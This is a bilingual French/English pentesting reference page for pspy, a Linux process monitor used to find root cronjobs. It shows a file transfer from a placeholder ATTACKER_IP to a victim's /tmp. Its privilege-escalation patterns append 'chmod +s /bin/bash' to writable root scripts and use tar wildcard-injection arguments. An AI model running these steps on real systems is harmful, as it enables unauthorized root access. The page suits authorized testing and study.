pspy
Moniteur de processus Linux non privilégié. Surveille les nouveaux processus sans root en lisant /proc. Capture les cronjobs, tâches planifiées et exécutions de scripts privilégiés. Unprivileged Linux process monitor. Watches for new processes without root by reading /proc. Catches cronjobs, scheduled tasks, and privileged script executions.
↗ https://github.com/DominicBreuker/pspyOverview
pspy monitors Linux processes in real-time without requiring root privileges. It reads /proc on an interval to catch new process spawns — including those running as root. This reveals cronjobs, scheduled scripts, and privileged commands that may be exploitable for privilege escalation.
Download & Run
Download precompiled binary (choose based on architecture) 64-bit static binary (works on most systems)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
32-bit
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32
# Make executable and run
chmod +x pspy64
./pspy64
Or transfer to target via web server Attacker:
python3 -m http.server 8000
# Victim:
wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
Usage
Basic monitoring (default: check every 100ms)
./pspy64
Set interval (milliseconds)
./pspy64 -i 1000 # Check every second
Show filesystem events (inotify) in addition to processes
./pspy64 -f
Monitor specific directory for file changes
./pspy64 -f -d /tmp,/var/tmp,/dev/shm
Filter by UID (only show root processes)
./pspy64 | grep "UID=0"
Suppress header
./pspy64 -q
Log to file
./pspy64 | tee /tmp/pspy_output.txt
Output Format
2024/01/15 14:30:01 CMD: UID=0 PID=1234 | /bin/sh -c /opt/cleanup.sh
2024/01/15 14:30:01 CMD: UID=0 PID=1235 | /opt/cleanup.sh
2024/01/15 14:30:02 CMD: UID=1000 PID=1236 | curl http://internal-server/data
2024/01/15 14:31:00 CMD: UID=0 PID=1237 | /usr/sbin/cron
Fields: timestamp, UID of process owner, PID, and full command line.
What to Look For
Filter for root processes only
./pspy64 | grep "UID=0"
Look for scripts in writable directories
./pspy64 | grep -E "/tmp|/var/tmp|/dev/shm"
Look for cron jobs
./pspy64 | grep "cron\|CRON"
Look for scripts with world-writable paths
./pspy64 | grep "\.sh"
Look for interesting binaries called as root
./pspy64 | grep "UID=0" | grep -v "^\[" | awk '{print $6}' | sort -u
Privesc Patterns
Pattern 1: Root runs script in world-writable dir If you see: UID=0 | /bin/sh /tmp/backup.sh And /tmp/backup.sh is writable by your user:
echo 'chmod +s /bin/bash' >> /tmp/backup.sh
→ Wait for next execution → /bin/bash -p → root shell
# Pattern 2: Root calls a binary you can replace
# If you see: UID=0 | /usr/local/bin/cleanup
# Check: ls -la /usr/local/bin/cleanup → if writable:
# Replace with malicious version
# Pattern 3: Wildcard injection in cron
# If you see: UID=0 | /bin/tar -czf /backup/*
# Touch files named: --checkpoint=1 --checkpoint-action=exec=sh shell.sh
Tips
- Let pspy run for at least 5-10 minutes — cronjobs may run every minute
- Run at :00 minutes to catch jobs that run at the start of each minute
- Combine with
crontab -l,cat /etc/cron*, and/var/spool/cron/for static analysis - pspy is completely statically compiled — it runs on any Linux system
Help / Man page
pspy [flags]
-i int Interval between scans (ms, default: 100)
-f Enable inotify filesystem watching
-d string Directories to watch (default: /usr,/tmp,/etc,/home,/var,/opt)
-r string Root directories to watch (for filesystem events)
-p Disable process scanning
-q Quiet output (no header banner)
-c Use colors
Vue d’ensemble
pspy surveille les processus Linux en temps réel sans nécessiter de privilèges root. Il lit /proc à intervalle régulier pour capturer les nouveaux processus créés, y compris ceux qui s’exécutent en tant que root. Cela révèle les tâches cron, scripts planifiés et commandes privilégiées potentiellement exploitables pour une élévation de privilèges.
Téléchargement et exécution
# Télécharger le binaire précompilé (selon l'architecture)
# binaire statique 64 bits (fonctionne sur la plupart des systèmes)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
# 32 bits
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32
# Rendre exécutable et lancer
chmod +x pspy64
./pspy64
# Ou transférer vers la cible via un serveur web. Attaquant :
python3 -m http.server 8000
# Victime :
wget http://ATTACKER_IP:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
Utilisation
# Surveillance basique (par défaut : vérification toutes les 100 ms)
./pspy64
# Définir l'intervalle (millisecondes)
./pspy64 -i 1000 # Vérifier chaque seconde
# Afficher les événements du système de fichiers (inotify) en plus des processus
./pspy64 -f
# Surveiller un répertoire spécifique pour les changements de fichiers
./pspy64 -f -d /tmp,/var/tmp,/dev/shm
# Filtrer par UID (afficher uniquement les processus root)
./pspy64 | grep "UID=0"
# Supprimer l'en-tête
./pspy64 -q
# Journaliser dans un fichier
./pspy64 | tee /tmp/pspy_output.txt
Format de sortie
2024/01/15 14:30:01 CMD: UID=0 PID=1234 | /bin/sh -c /opt/cleanup.sh
2024/01/15 14:30:01 CMD: UID=0 PID=1235 | /opt/cleanup.sh
2024/01/15 14:30:02 CMD: UID=1000 PID=1236 | curl http://internal-server/data
2024/01/15 14:31:00 CMD: UID=0 PID=1237 | /usr/sbin/cron
Champs : horodatage, UID du propriétaire du processus, PID et ligne de commande complète.
Ce qu’il faut rechercher
# Filtrer uniquement les processus root
./pspy64 | grep "UID=0"
# Rechercher des scripts dans des répertoires inscriptibles
./pspy64 | grep -E "/tmp|/var/tmp|/dev/shm"
# Rechercher des tâches cron
./pspy64 | grep "cron\|CRON"
# Rechercher des scripts avec des chemins accessibles en écriture à tous
./pspy64 | grep "\.sh"
# Rechercher des binaires intéressants appelés en tant que root
./pspy64 | grep "UID=0" | grep -v "^\[" | awk '{print $6}' | sort -u
Motifs de privesc
# Motif 1 : root exécute un script dans un répertoire accessible en écriture à tous
# Si vous voyez : UID=0 | /bin/sh /tmp/backup.sh, et que /tmp/backup.sh est inscriptible par votre utilisateur :
echo 'chmod +s /bin/bash' >> /tmp/backup.sh
→ Attendre la prochaine exécution → /bin/bash -p → shell root
# Motif 2 : root appelle un binaire que vous pouvez remplacer
# Si vous voyez : UID=0 | /usr/local/bin/cleanup
# Vérifier : ls -la /usr/local/bin/cleanup → si inscriptible :
# Remplacer par une version malveillante
# Motif 3 : injection par wildcard dans cron
# Si vous voyez : UID=0 | /bin/tar -czf /backup/*
# Créer des fichiers nommés : --checkpoint=1 --checkpoint-action=exec=sh shell.sh
Conseils
- Laissez pspy tourner au moins 5 à 10 minutes : les tâches cron peuvent s’exécuter chaque minute
- Lancez-le à la minute :00 pour capturer les tâches qui s’exécutent au début de chaque minute
- Combinez avec
crontab -l,cat /etc/cron*et/var/spool/cron/pour une analyse statique - pspy est entièrement compilé statiquement : il fonctionne sur n’importe quel système Linux
Aide / Page de manuel
pspy [flags]
-i int Interval between scans (ms, default: 100)
-f Enable inotify filesystem watching
-d string Directories to watch (default: /usr,/tmp,/etc,/home,/var,/opt)
-r string Root directories to watch (for filesystem events)
-p Disable process scanning
-q Quiet output (no header banner)
-c Use colors